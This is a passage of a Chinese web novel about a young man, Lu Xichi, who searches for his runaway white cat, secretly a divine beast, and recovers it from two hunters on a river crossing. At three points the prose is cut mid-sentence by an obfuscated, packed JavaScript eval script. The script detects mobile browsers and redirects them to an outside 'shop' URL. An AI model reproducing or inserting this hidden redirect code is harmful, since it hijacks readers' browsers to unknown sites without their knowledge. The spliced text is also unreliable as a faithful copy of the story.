不知从哪里飘进院子里的花瓣拂过窗台,窗户里白色的身影就消失了。 陆熙迟去了后山的树林、屋旁的农田、山脚的清溪……从晌午找到深夜,又从另一个天亮找到天黑,皆没有他家猫的踪影。 张叔也跟着着急,喊得嗓子都哑了,坐到田坎上转开水壶,“熙迟啊,你家猫能自己认得回家的路不?咱们不能跟着瞎找啊,这满天喊满地找的,啥时候是个头啊。” 陆熙迟手上一刻不停地扒开比人还高的草丛,“张叔,您先回去吧,我自己找就行。它没自己出来过,我得带它回去。” 真是个倔脾气,张叔咽下壶里最后一口水,踉跄着站起来,跟着陆熙迟去旁边的芦苇荡里接着找。 当然是一无所获。 陆熙迟突然停了下来,站在一片黄叶泛青的芦苇荡里,无助地看向前面没有尽头的山林,这几天紧绷的肩膀一下子泄下来,两条手臂没有知觉似的垂在两侧。 张叔见状,长长叹一口气:“熙迟啊,找不到了。这都几天了,你每天天不亮就出门,连顿正经饭也没吃过,生计也停了好几天了,一直找。那本来就是只不知道从哪儿来的野猫,还对你爱答不理的,这下又是自己跑的,就算是听见我们喊了,也不见得会回来。” 还没等张叔劝告的话说完,陆熙迟突然向前走了几步,几乎跑起来,很快隐入山林。 “您回去吧——我再找找!” 拉长的声音回荡在芦苇间,惊飞一片鸟鸣。 原来宿州这么大。 云意站在一片平地上,望向前面连绵不绝的山峰,决定今天先在山脚歇息一晚,明早再继续赶路。 这几天她几乎不敢休息,一是怕凡界仍有纪明渊的耳目;二是担心陆熙迟会追上来。虽然后者的可能性不大,但她还是不敢用回家来赌。 可是这下马不停蹄的赶路就导致她原本就没恢复好的伤口又裂开,耽搁了不少功夫。 幸好普通山灵不敢轻易冒犯她,要真是只凡间的猫,估计第一天就得葬身虎口。 云意原本以为穿过宿州,直入南境,跨过邕江便可抵达灵界。 却不曾想,日行千里的法术太损耗元气,她的灵力尚未恢复,只能以兽形来行走。 这一走,就足足花了十日才到源婺岭,离出宿州还为时尚早。 不知要何年何月才能到灵界了。 夜晚,月朗星稀,林间不时有乌鸦在啼啭。 “这里能打到老虎吗?” “上山砍柴的说听见老虎叫了,你就别磨叽了,快点跟上来。” 一个瘦子和一个胖子相继翻过土坡,一前一后向山林更深处去。 背上挂弓箭,腰间系柴刀,云意记得族长形容过,这是凡间猎人的长相。 她隐在大树后看他们消失在树林里,爪子有一下没一下地抓着树皮,耳朵仔细听着远处传来的动静:胖的那个有些害怕,瘦的那个明明也怕但丝毫不显,还给对方壮胆。 他们要去捕猎山上的老虎。 可是那老虎已经化灵,他们决计不是它的对手,说不定还会成为那老虎的盘中餐。 捕猎是不对的,吃人亦是。 救还是不救? 理性的声音告诉它:云意你不能再干涉别人因果,给自己惹上不必要的麻烦了。 另一个声音也在挣扎:那可是两条人命啊,你难道要眼睁睁看着他们送死? 一声虎啸穿透山林。 下意识地,云意奔向那两人消失的地方。 粗壮的爪子碾碎射在脚边的箭簇,重重呼出一口气,两个吓得浑身发抖的人发现自己怎么也动不了,哀嚎的声音带着求饶和绝望,此起彼伏。 一声婉转清越的长吟破空而出,两个哭嚎的声音渐渐止住,就像哭闹的婴儿得到了安抚一般,山间瞬时又恢复了宁静。 慢慢走向两个凡人的老虎停了下来,微微歪头看向声音来源——一只白色的朏朏蹲坐在二人背后不远处的石台上,月辉下显得皎洁又神圣,一双眼睛平静地注视着他。 “可否放了他们?” “您是上古神兽一脉,缘何要救对我们灵族赶尽杀绝的凡人?” 从两个凡人的角度来看,老虎张开了血盆大口,微微偏离的角度似乎是在思考从哪儿下口,生生被吓晕了过去。 云意看向勃然大怒的老虎,余光瞥向两个倒地的人:“你既选择修行,就不该再造杀业。” “人族多狡诈之辈,死不足惜,我不杀他们,他们便要来杀我了。” 云意还想说什么,可对方已不想再听,“您如果不信,我可以放了他们,您可以亲自去见识一下凡人的贪婪无知。” 老虎按下爪子,地龙翻身,身下的石台剧烈颤动,云意无法保持平衡地跌下地面,脑袋不知磕到哪儿,失去意识前的最后一瞬,她看见那头老虎目光悲凉地注视着她。 日上正中,瘦子被晒醒,激动地摇醒胖子,“我们还活着!庞六儿,快醒醒!” “老、老虎呢?”被叫做庞六的人一睁眼就想起昨晚近在咫尺的老虎须,倒吸一口凉气,猝不及防脸上被揍一拳,所有的委屈都在这一刻爆发出来:“都怪你!你非要来找什么老虎,害得我俩小命都差点搭进去了……” “痛?痛就好,说明我们真活下来了。”江肆从来没觉得庞六的哭喊这么动听过。 劫后余生的喜悦涌上心头,庞六揉了揉被打歪的脸颊,狭长的眼睛瞥到一角白毛,“哥,你看那。” 被胖胖的指尖指引过去,草丛里躺着一尾毛色纯白的狸猫。 “这是啥品种的猫,没见过,咋恁好看?”庞六凑上去仔细看那只猫的脸,手忍不住去碰它的耳朵。 “别乱动,卖的话肯定能卖个好价钱,你看这白毛,就是扒下来也能做身好看的白裘啊。”江肆打掉胖子的手,双手挟住猫的腋下提起来,庞六很有眼色地展开布袋,白色的小家伙一下子就滑进去了,庞六合拢袋子的收口,掂了掂重量:“哥,它睡得这么死呢。” 江肆夺过装着云意的袋子,“说什么死不死的,你这嘴巴真该缝上。” “哥,我错了我错了,这是不是就叫做大难不死,必有后福?” 江肆这才感觉舒服了点:“不能在源婺岭卖,地儿太小了,没几个有钱的,要去……就去宿州最富庶的地界儿。” 风一起,猫神祠前的榕树飘扬起无数红丝带,系带子的人被隐没其中。 陆熙迟踩在木梯上,一片又一片他刚绑上去的红丝带拂过眼前,眼前忽明忽暗,他凭着感觉,将红绸绕过树枝,结实地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025351|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了个结。 如果这世间有护佑狸猫的神明的话,请一定要保佑那只小白猫平安顺遂。 “哥,这都七八天了,它咋还不醒啊?” 庞六看着一动不动的猫忧心忡忡,“你说它该不会已经死了吧?” 睁大眼睛仔细辨认白猫状态的庞六忽感背后一阵阴凉,回过头去,果不其然江肆目光森冷地注视着他。 “哥,这都啥时候了你还瞪我!如果它一直这样,我们肯定卖不出去,那我们不就白忙活一场了吗。” “你看看你就是狗嘴里吐不出象牙。”江肆恨铁不成钢地看着庞六,“我不是说过吗?除了整只卖给那些有钱人,我们还可以剥皮,只卖皮,懂吗?” 陆熙迟现在每天都去上工,没有人坐船的时候就守着渡口,张叔担心他的状态硬要跟着,自己带条小板凳放在船头和陆熙迟一起看着江畔。 “我们要去对岸,何时开船?” 没有听到任何脚步声,张叔被这突如其来的询问吓得抖了抖。反观陆熙迟还算比较淡定,平静地回复道:“现在就可以。” 张叔去看,这人后面还有一个穿着更贵气的人,应该是他的雇主,站在一边看江水,目光丝毫不分给这边。这人身长八尺,带着佩剑,应该是那贵公子的侍卫。 那侍卫上船后掀开船篷的帘子方便一身紫衣的公子进去,那公子不知为何总看得不太真切,但也能感觉出气宇不凡、矜贵十足。 还没来得及收回目光,就对上了那侍卫警告的眼神,张叔讪讪低头,心里却直犯嘀咕,有什么了不起的,还不让看了,再不得了还不是得坐小老百姓的船。 陆熙迟无心注意这边的你来我往,估摸着船篷里的人已坐好,看向那侍从,四平八稳地站在外面,应该不用坐,正要撑桨离岸,船不平衡地动了动,一胖一瘦两个猎人打扮的男子一脚踩上船,自顾自地要进船篷,却被外面的侍卫一个冷眼瞪回露天的船舱,庞六尴尬地说:“船家,我们也去对岸。” 船行水上,庞六有些无聊:“船家,宿州城里最热闹的集市是哪个啊?” 陆熙迟未答,张叔接上:“二位要买什么?东街的衣裳布匹最出名,若要买农具还有刀箭簇弩便要去西街,街头有一家卖的还不错。” “不不不,我们是去卖东西的。”许是感觉到老人家的善意,庞六笑得直爽,“不知可有卖牲畜或是皮毛的地儿?” 划着桨的陆熙迟闻言看过来,似是想到了什么,没有温度的眼睛十分瘆人。 “这种啊,我不常去,知道的也不多,不知小兄弟要卖的是什么珍稀啊?” “是只猫。”庞六被掐了一下,他顿时闭嘴了。 “狸奴啊。这得问问开市没,像这类的买卖平时不多,得等开市了才有客人。” 兄弟二人对望一眼,皆从对方眼里看到不好的神色——他们可等不起开市了,这一路下来,盘缠早已花光,若不尽快将手上的这只猫脱手,他们就要在宿州城里面当乞丐了。 江肆不死心地问:“老人家去过吗?下一次开市在什么时候?” “我家里有只橘猫了,我可不敢去那种地方,它要是闻到我身上别的猫的味道会生气的。” “至于什么时候开始嘛……下月初五?老朽年纪大了,这有些东西记不太清了。” 太久了,江肆放在袋口的手紧紧捏住松紧鼓起的地方,决定下船后就剥皮。 “二位小友,你们要卖猫的话,不知可否让老朽瞧瞧样子,老朽识得宿州城内一富商,她啊酷爱猫,若是品相好,能被她买走,也是这猫的造化,你们说,是不是啊?” 庞六闻言,心下一动,“哥,咱们给他看看吧。” 万一没被发现猫的异样,那他们不就赚大发了? 江肆捂在口袋的手渐渐松了,庞六乘势打开,露出半个白色的脑袋。 陆熙迟握着船桨的手突然不动了。 5. 融化 【吾欲得椿江愿从游之确诺,不知何日可期】 ——崇祯四年,腊月庚申,微风和畅 陆熙迟忘记摇桨了。 他看见了他心心念念的猫。 虽然只能看见一点耳朵和头,但他不会认错的。 椿江的耳朵和其它猫都不一样,是像荷花花瓣一样的形状,耳根有几撮彤色的毛,额头也比普通的小猫更圆些,后脑勺连着脖子有长长的白毛。 陆熙迟盯着那个密不透风的袋子,喘不上气。 “怎么……抓住的?”有没有用捕兽夹?有没有用对身体不好的药……它有没有受伤? 陆熙迟的声音克制不住地有些抖,庞六有些无措地望向江肆,江肆警惕地收拢袋口。 张叔见他发直发愣的眼睛,急得打圆场:“你看我这小兄弟就是没见过世面的,他没见过这样好看的猫,说实话老朽也没见过,今天还是生平第一次。” 这下连庞六都不再附和他,也不再提让他帮忙引荐巨商的事,僵持几息,张叔急忙摆弄陆熙迟的袖子,“愣着干嘛?快划船。” 陆熙迟心下一动,开始划动手里的桨。 今日江上风和日丽,微风徐徐,平常过江不过半个时辰,但今日不知怎的,连张叔都开始打起了瞌睡。 坐在篷下的纪明渊睁开眼睛,冰冷的目光投向正在划船的陆熙迟。 江肆也觉出不对,虽然他没来过宿州城,但这江面的宽度看着也不像是要花那么久的时间才能过去。 江肆戳了戳旁边正在看水的庞六,庞六一脸兴奋地和江肆指向船边翻腾的江水,“哥你看,那里边有鱼!” 张叔的瞌睡终于在这声尖叫里结束,下意识地循着他们说话的方向望去,“啊,那是鲈鱼,煲汤可香了。” 庞六闻言,一副激动模样地看着江肆,在他说出一起去抓鱼的提议前,江肆按住他的嘴巴。 庞六挣扎地发出声音,余光瞥到一直站在帘子外不说话的侍卫突然上前,走到陆熙迟身后,江肆放开庞六的嘴,嫌弃地在庞六身上使劲搓了搓沾上的口水。 “你还要绕多久?” 冷淡的声音在众人耳边响起,庞六惊讶地瞪大眼睛看向他哥,就见他哥像被说出心声般看着那边。 “今天没风,船行得自然慢些。”陆熙迟淡定对上那双像箭簇一般的眼睛,不料下一瞬,剑光闪烁,脖子上一凉,抵上一段剑刃。 握住剑柄的人冷冷开口:“你若划不好船,那就永远都别划了。” “哪敢。”好像生死都不是大事,脸上没有一丝波澜,张叔这下彻底醒了,急得不敢上前,“别动手别动手,有话好好说,有话好好说。” “敢问二位,袋子里既然装着活物,缘何不见一点动静?” 突然转向的话题打得二人猝不及防,多日来提心吊胆就害怕被识破,这下脑子里更是一片空白,支支吾吾答不上话。 张叔这才惊觉,袋子里的猫一直没动! 陆熙迟说完,目光紧盯着两个人,不肯放过他们脸上的一点表情。 被说中心事的惊慌、无法解释的吞吐,还有恼羞成怒…… 这些是他设想的反应里最差的那种。 “是……”陆熙迟说不出那个字。 “没死!”庞六预感到他要说什么,抢着答道:“我们捡到它的时候它就这样了,一直昏迷着,怎么喊也喊不醒。” 蓬船下帘子被挑起一角,玉白的指骨扶着发旧的布帘,只露出一点下颌,“木峥,回来。” 那侍卫收起剑,重新走到帘子边,陆熙迟脖子上一松,没了刀剑的挟制,扔下桨走到江肆面前,“它这样……多少天了?” “关你什么事?”江肆压着被戳穿的羞恼,梗着脖子把腰间悬挂的袋子往身后扯。 张叔见状不对,心急想问问,但船又没人划,对上那黑脸侍卫心里发虚,只好捡起木桨驱使船身向岸边移动。 云意睁开眼睛,眼前一片漆黑,身上有种被兜住的悬空感,她想动却使不上劲,鼻子里全部都是各种动物混杂的汗和毛的味道。 记忆还停留在老虎离去的背影上,无力上涌,她猜测自己应该是在那头老虎的无声默许中被那两个凡间猎人抓住了。 外面一直很安静,不知是白天还是晚上。 直到,在一段不甚清楚的对话里,云意听到了纪明渊的声音。 纪明渊怎么会在这里? 她又被他抓住了? 带走她的不是那两个凡人,而是纪明渊吗? 云意忍住不发出任何害怕的声音,浑身却止不住地抖,脚怎么缩进毛里也还是冷。 陆熙迟看见袋子突然小幅度地动起来,虽然只有一下,轻微到连江肆都没有注意到,但他真真实实看到了那个小小的起伏,心也跟着重重跳动,重新活泛起来。 它没有死……它没有死。 “椿江。” 马上划到岸口的张叔听见这名一下子瞪大了眼睛,他看见陆熙迟神情专注地朝向那只没有动静的袋子,一个劲儿喊椿江。 “椿江,陆熙迟在这。” 江肆表情意味不明地看着陆熙迟,但那眼神庞六看了立马就懂了,他上前挡住陆熙迟的视线,像个冲锋陷阵的勇士:“看什么呢?你也想买?不买别看。” 云意在黑暗里听见一遍又一遍的椿江,名字越来越清晰,好像专门喊给她听似的,声音近得像是要穿过这层麻布。 她不可置信地凑到袋子面前,可那呼唤突然消失了,一声呵斥冲进来,挤进耳朵,她记得,这是那个胖子的声音。 云意缓缓回落到原处,开始思量起刚刚听到的纪明渊的声音,好像离自己没有那么近。 也是,如果是被他抓走,那她醒来看到的第一个人一定是他。 毕竟他怎么会容忍自己在他眼前跑掉,还安然无恙地继续活着。 从前在魔域的时候,云意在被锁进笼子里之前,都是被关在濯鳞宫的一个地牢里,那里很大,石柱林立,假山后的石台连接着云水池,偶尔还能透过岩石缝隙看见一点星光。 云意很不喜欢那里。 不过值得庆幸的是,地牢里大多数时候只有她一个人。 除了每月藤毒发作的时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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庞六直愣愣看着他哥比出的五,不禁咽了咽口水,这可比他们商量的多好多呢! “到啦!到对岸了,一人十五文,留下就可以离开了。”张叔将缰绳绑在渡口的木桩上,就跌坐下来,使劲锤向自己的腰,心下感叹自己一把老骨头,真是不容易。 “你不想要的话,我们兄弟俩可就走了,到了城里应该也不愁卖不出去。” 江肆装模作样地要把袋子合上,庞六也作势要走,陆熙迟还执着地要等他的猫的一个答案。 篷船里的纪明渊缓缓走出来,轻轻瞥一眼这边僵持的三个人。 云意察觉到纪明渊走出来就不停想往回缩,可是江肆捧住袋子的姿势压缩了大量空间,她怎么动都会露出一点耳朵,眼见着纪明渊离她越来越近、越来越近,头也往这边看过来……然后云意的视线就被另一个高大的身影挡住了。 陆熙迟不动声色地挡住身后的主仆二人,安抚地垂眸看向这只刚刚异常不安的小猫。 直到人走远,消失得没影了,陆熙迟才移开,好像是方便她查看一样,外面的情形一览无余。 云意的心骤然回落,两个极其紧绷的耳朵慢慢垂下,贴在两廓,就听见那个瘦子拿捏着腔调,举着她掂了掂:“兄弟,你要真不要,不要……我们可就走了啊。” 刚刚还得意的表情还没收住,江肆忽然感觉手上一轻。 “哥——它跳下去了!” 庞六看向江面,一团白色跃入水中,刹那间消失不见。 6. 回家 【初见椿江滚落于碎花窝,便已思及制一同纹小毯】 ——崇祯四年,腊月辛酉,日光和煦 就在庞六防着他接近袋子,江肆倚着船边不知轻重地上下抛猫的时候,陆熙迟看到猫一下子蹿出来跳向江面。 小小的一只刹那间消失在视野里,水面没有激起任何波澜。 张叔注意到这边的动静,扶着腰颤颤巍巍地过来,“猫呢?” 一瞬间的空白占据了全部的思索,陆熙迟纵身跃向江面,扎进水里,巨大的水花飞溅。 半晌还没见上来,江肆心道不好,慌张地拉住庞六几步跳下船向岸边冲去,不一会儿就跑得没影儿了。 “熙迟!”张叔望向平整的江面,心里直打鼓。宿州的水虽然不结冰,可到底还是寒冷刺骨,一时半会不见人上来,那两个滑头又跑了,只能烦躁地再干嚎两声。 陆熙迟撞进水里,忍着耳朵里一声快要压破的长鸣,他用力睁开眼搜寻着周围,试图在一望无际的空荡里找到那团白色的身影。 等到实在喘不过来气,他才挣出水面,双手浮在摇晃的推阻里拨动着水波,驱使自己可以看到更广阔的水面,“椿江!” 望着宽阔的江心,对岸的青山倒映在那里,他挥动着双臂向那处游过去,只恨自己还不够快,还不够快…… 他为什么要纠结那一个答复,为什么要等它答应才要带它回家,他为什么没有及时抓住它,告诉它这样不可以,很危险…… “熙迟!”张叔见他终于浮上来,才松口气就看见他向江中心游去,倒吸一口凉气,“回来!快回来,我们划船去找!” 陆熙迟这才转过身回头看,却不想这一眼看到他的小猫紧紧扒在船身上,爪子抓住船外支出的木头,眼睛一眨不眨,愣愣地看着他。 仔细看它身上的毛都是干的,陆熙迟才放下心。 “它的命是命,你的就不是命啦?还把自己弄成这样,我看你这两天也别出门了,刚刚被那么冷的水泡过,万一再被风那么一吹,得个伤风倒下了,连个照顾你的人都没有。” 张叔从船舱的竹笼里拿出件干衣服递给陆熙迟,陆熙迟接过就往小猫身上擦。 “诶诶诶,干啥呢,给你的,是你湿了,不是它,它干得很——” 最后一个字尾音重重拉长,陆熙迟充耳不闻,抬起小猫的一只爪子就给它擦水,爪缝也照顾到。 重重叹口气,张叔又从竹笼里拿件衣服出来,这下不让陆熙迟自己接过去了。他怕陆熙迟觉得猫冷直接拿去给猫包上,回头自己还湿着。 张叔把衣服一揉就堆在陆熙迟头上,烦躁地抓两下,布立马就浸透了,“你真是我前世的业报。” 云意趴在陆熙迟的膝头,第一次这么配合地给他打理。 她不知道为什么在看到陆熙迟跳下江,喊着那个她从来没答应过的名字,没有迟疑地向江心游去的时候,整颗心会像藤毒发作时那样,就好像被蛇的两根尖牙咬到,又酸又涨。 就连现在,陆熙迟用手指梳理着她背上的毛,她也会觉得胸腔里的那个东西在剧烈地收缩。 她根本不像表面那么平静。 陆熙迟这一刻感觉内心终于平静下来了。 小猫现在安全又相对完好地待在他身边,没有被猎人卖掉,也没有被水冲走,现在趴在他怀里,均匀地呼吸着。 为什么说相对完好? 它腿上的伤又裂开了,只不过已经不再流血,紫黑色的伤肉把伤口边缘收缩得更小,轻轻抚一下背上的毛都能摸到细小的脊骨,比刚捡回家的时候还要瘦。 可终究,椿江回到陆熙迟身边了。 暮色四合,倦鸟归林。 陆熙迟用衣服包着小猫,和张叔告别之后就抱着它穿过院子,进屋。 云意被稳妥放在藤椅上,下一刻就见金黄的光铺满整个房间。 陆熙迟没有过来,云意就静静看着这个她离开十多天的地方发呆,突然被抱起滞空,陆熙迟不知从哪儿找来两个垫子,放在藤椅上,她又被安稳地放回去,屁股甫一落座就像陷入了一团又软又厚的云朵。 陆熙迟把她安置好后就离开了,云意心里有些别扭,这个人自把她带上船后,就再也没有和她说过一句话,虽然还是会照顾她,但云意心里总觉得怪怪的。 陆熙迟拿了药和纱布重新回来,抬起小猫受伤的那条腿就开始上药。 在药粉刚刚沾到伤口的那一瞬间,云意就开始剧烈抖动,可陆熙迟只是停顿了一下便继续,任由褐色的药粉厚厚裹住伤口,再面无表情地给缠了几圈的纱布打两层平结,从头到尾没说一句话。 云意突然开始害怕。 陆熙迟明明在船上的时候很希望她跟他回家。 陆熙迟看上完了药就要离开,小猫突然伸出两只前爪朝他扑腾了一下。 陆熙迟缓缓蹲下来,之前刻意不看它的眼睛此刻重新捕捉到它的视线,计划着要冷硬一点的声音说出口却还是软了下来,“怎么了?” 云意也不知道自己怎么了,就是不想他这么快离开。 可是现在她在陆熙迟眼里是一只猫,除非她学猫叫,否则她不能开口。 所以只能挥动爪子,博取一点关注。 陆熙迟见它不开口,只一味看着自己,狠了狠心站起来,把药放到原处,然后从里屋搬出一个圆的东西放到地上。 云意跳下藤椅,走上前才发现这是一个新的猫窝。 浅白的布上没有碎花,里面也没有铺乱七八糟的布料,干净的、崭新的,看起来也更软,没有一点和先前那个相似的地方。 “你今天就睡这个吧,如果不喜欢,也可以睡藤椅上,但应该没那么舒服。” 云意从来没听到过他对自己那么冷淡又平静的语气。 以前陆熙迟和她说话恨不得夹着嗓子,一句话转五个音调,现在竟像是在回答陌生人的问题般,没有热情,只有想尽早结束的渴望。 “那……我去睡了。” 话心刚刚落下,云意就见陆熙迟毫不留恋地转头向房间里面走去。 今天没有油腻的小鱼干,没有倒在碗里的水,也没有碎花猫窝,甚至连陆熙迟惯常的温柔都消失了,虽然他还是在照顾她,但云意总觉得他很很不开心,他在生自己的气。 是因为她跑掉了吗?还是因为她跑掉之后又回来了,所以他不高兴? 陆熙迟放下猫窝之后就走回房间,忍住不去看门外的小猫最后选择睡在哪儿。 先前跳江的时候衣服都湿了,虽然船上有干净的外衣,但他还没有换里衣,湿濡的布料贴在身上很不舒服。 油灯的余光映在墙上,把两只耳朵拉出长长的影子,陆熙迟惊讶地回头,果然看见门口蹲着一只猫,正睁着圆圆的眼睛看着自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025353|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆衣服带子的动作变慢了,或许是第一次被这么注视,陆熙迟有些不太好意思地转过去背对着门口的猫,掩耳盗铃般加快手上的速度,把外面几层衣服拉下来,迅速穿上寝衣。 陆熙迟不自在地向床铺走了几步,动作不协调地翻身上床,扯过被子盖上。 云意抿抿嘴,她站在门口很是犹豫不决,自己或许应该道个歉。 眼见着凡人已经躺下,云意走到床边,跳起来努力挥动着双手,试图吸引起凡人的注意。 凡人还是紧闭双眼。 云意跳上床,走到床头,伸出一只爪子摸上凡人闭着的一只眼睛。 陆熙迟正装睡,眼皮突然盖上了一个热乎乎的东西,他忍不住地抓住猫的爪子扯进怀里,嘴唇很响亮地在猫的头顶上碰出啵的一声。 云意炸毛了。 她碰了碰自己被亲的地方,那里好像被烫了一下,她使劲摸了摸,快要抠出一片毛下来。 搭在她身体上的手臂突然拉住她的爪子,规矩放好,那个被亲的地方才逃过被薅秃毛的劫难。 被子盖得很严,她好热。 “以后不要这样了。” 哪样?云意怀疑自己的耳朵听错了,明明非礼的是他,怎么搞得好像她才是那个对他上下其手的人。 云意的后脑勺突然挨上一颗脑袋,陆熙迟埋进小猫毛茸茸的头,低低地吐出声音:“以后不要再做跳江那种危险的事了。” 云意紧绷的身体忽然卸下力气,她听见陆熙迟在她耳边断断续续地说:“万一……我真的失去你了,怎么办……” 云意突然感觉后脑勺一凉,那凉意顺着脖子流着流着就消失了。 “大家都说猫有九条命,可是我的椿江那么瘦那么小,怎么能遭受住九次危险?” “不要伤害自己,好吗?” 翌日,云意率先醒来,跳下床架,跟着屋子周围慢慢巡视。 正中央摆着的那个新的圆团在阳光下更显白净,而且看着也十分舒服。 但云意不想要。 她一个一个打开柜子,终于——最里边的柜子里藏着她的碎花猫窝。 她咬着拖出来,兴奋地跳进去。 上下颠簸的弹力让她很满意。 尾巴扫过缝隙里重叠的碎花,她幸福地眯起眼睛。 里间传来一些穿衣服的摩挲声,陆熙迟起床了。 男人一醒来就没摸到猫,心情十分烦躁。昨晚抱着猫入睡,那手感太好,值得铭记一辈子。 陆熙迟现在很幸福地意识到,他可以正大光明抱猫了,不用被猫拒绝的那种。 怀着这样激动的心情,陆熙迟走出卧房看到了他的猫正在旧猫窝里打滚。 “不是准备了个新的吗?” 他把素色的那个往猫那边推了推。 猫没有分一点多余的目光到那里,反而一个劲儿地往碎花缝里钻。 “不是不喜欢花的吗?”陆熙迟蹲到云意近前,颇有些委屈地说。 “那这个新的怎么办?”夹着嗓子说话又回到了昔日的温柔,云意难得从沉溺在钻缝的快乐中抽离出来,分点心神到他的问题上,思考片刻,她伸出爪子把那个新的推出一段距离。 “不要啦?”陆熙迟有些惊讶地确认道,只见小猫又一头钻到那个狭小的逢里。 陆熙迟不禁感慨,他家小猫好聪明。 7. 生病 【今一玄色狸猫哂笑吾猫,情态甚不善】 ——崇祯四年,腊月辛酉,日光和煦 在腊月的江水里泡过再加上穿着湿衣服睡了一晚,不出意外的,陆熙迟生病了。 陆熙迟从早上起来就晃晃悠悠,勉力蹲下和小猫说完话后,陆熙迟刚站起来就眼前发黑发麻,头重脚轻地往后栽。 这可着实吓到了云意,她急忙跑到陆熙迟的后面,因动作太急,尾巴水波一样扫过陆熙迟的裤脚,立起来伸出前爪准备接住他。 陆熙迟怎么敢就这么倒下去,一把抓住旁边的柜子棱,堪堪站住,就见小猫担心地绕到前面一脸紧张地看着他。 陆熙迟出声安抚:“别担心,我没事。” 话音刚刚落下,陆熙迟就很响亮地咳嗽了两声。 云意趴上陆熙迟的裤腿,用力嗅了嗅,一股灼烧的苦味从他身体里透出来,云意用两只爪子交替着推了推陆熙迟,催促着陆熙迟快去休息。 陆熙迟感受着这有一下没一下的轻捶,以为它是要他陪玩,“我先给你做饭,好不好?” 思及不能把病气过给小猫,陆熙迟翻出上次做猫窝时剩下的布,找出块方形的,对角折了一下蒙住下半张脸。 云意想让他去休息,却苦于不能说话,只能眼睁睁看他拿了干柴开始劈。 “之前看你不喜欢吃小鱼干,这几天有空的时候我就去集市上买了点别的。” 不知道是不是生病的原因,云意觉得他说话都比平时慢上许多,声音也更沙哑。 陆熙迟把锅里的水注满,“你不在了之后,有一天我找着找着就发现到了回春堂,我进去之后,陈大夫还问起过你的情况。” 陷入回忆,陆熙迟说得更慢了,“我说你在家不怎么爱吃鱼干、田鼠,也不太喜欢喝水。陈大夫说,可能是之前饥一顿、饱一顿伤了脾胃,喝点肉粥应该会好些。” “陈大夫还说……” 像是突然想起来什么,陆熙迟放下水瓢,扣上水缸的木盖,慢慢向灶台上的云意走过去。 云意紧张地看着他,生怕他又突然倒下,不等陆熙迟过来,云意两步跑到他面前,仰着头看他。 然后云意就听见陆熙迟说:“你出去这几天有按时吃饭吗?” 云意想了想,赶路的这几天她渴了就喝溪水,饿了……她不会饿,作为上古神兽一族,餐风饮露便已足矣,但为了让凡人放心,她点了点头。 “那……出恭呢?出恭可否每日一次?” 云意不敢置信地看向陆熙迟探究的眼睛,脸颊上浮起两块薄薄的红晕,他怎么可以直接问别人出恭的事! “陈大夫说之前你不吃不喝,于肠道有碍,所以没能按律如厕,如果恢复正常饮食的话,出恭的频率应是一日数回才对。” 虽然脑袋发热,但陆熙迟还是清楚地复述了大夫的大部分原话,看见小猫慢慢睁大的眼睛,陆熙迟知道它没听懂,仍有商有量地继续道:“等会我们吃完饭就去试试,好吗?” 试什么?出恭吗? 不好!很不好! 为什么这个凡人要管她出恭的事! 神兽岂和凡人一样,身上的浊气自会下沉,一呼一吸之间便可排出体外。 云意不让他继续摸,风一样跃下灶台溜走了。 陆熙迟这一次识趣地没有追上去,他的直觉告诉他,小猫需要自己独处一会儿。 到了吃饭的时候,云意原本打算缩在猫窝里不出来,可是一听见陆熙迟忍着咳嗽喊她,气若游丝的模样令它有些愧疚,还没等他叫第二声,云意就走出来,不情不愿地跳上凳子。 桌子中央摆着一盘清炒菜心,她的面前有个大碗,里面是白白的粥和一些蔬菜肉沫,反观陆熙迟面前什么菜都没有,只有双筷子。 “尝尝看淡不淡,我不敢放太多盐。” 顶着陆熙迟期待的目光,云意埋下头舔了舔,炖得软软乎乎的米粥裹着肉糜的咸香还有菜叶的清甜,味道出乎意料地好。 云意从比她脸大得多的碗里面抬头,发现陆熙迟脸上没被布遮住的地方透出的潮红比方才更明显,眼睛也泛着红血丝,却还撑着询问她的意见,她突然有些说不上来的难过。 支出爪子把碗朝他那里推了推,云意想让他自己吃。 “不喜欢吗?”那双刚刚还泛着光的眼睛顿时暗淡下去,云意着急得想直接告诉他自己没有不喜欢。 陆熙迟控制着声量咳了几声,突然怀里一重,小猫看着他把两只爪子轻轻抚上他的脸。 滚烫的脸颊骤然接触到冰凉的爪子,他下意识地靠上去贴了贴,感觉到那只小手掌微微一僵,陆熙迟缩回头,“你要给我当冰袋吗?” 云意没有拒绝。 陆熙迟却没有再贴着她。 “还想吃吗?” 想让你吃。 见小猫没有做出指示,陆熙迟忍着嗓子里的痒意慢慢起身。 云意感觉自己整个身体都被抱起来,不过一会儿就被动降落到猫窝里,“你先在这里玩会儿。等下我们去外面看看给你做的茅厕。” 仗着猫听不懂,此男大胆地私自制定了待会儿要办的事宜就转头洗碗去了,丝毫不顾独自在风中凌乱的上古神兽。 陆熙迟……刚刚是在说给她做了一个茅厕吗? 云意想,如果她现在跑,陆熙迟肯定追不上她。 “咳咳咳……咳咳咳……” 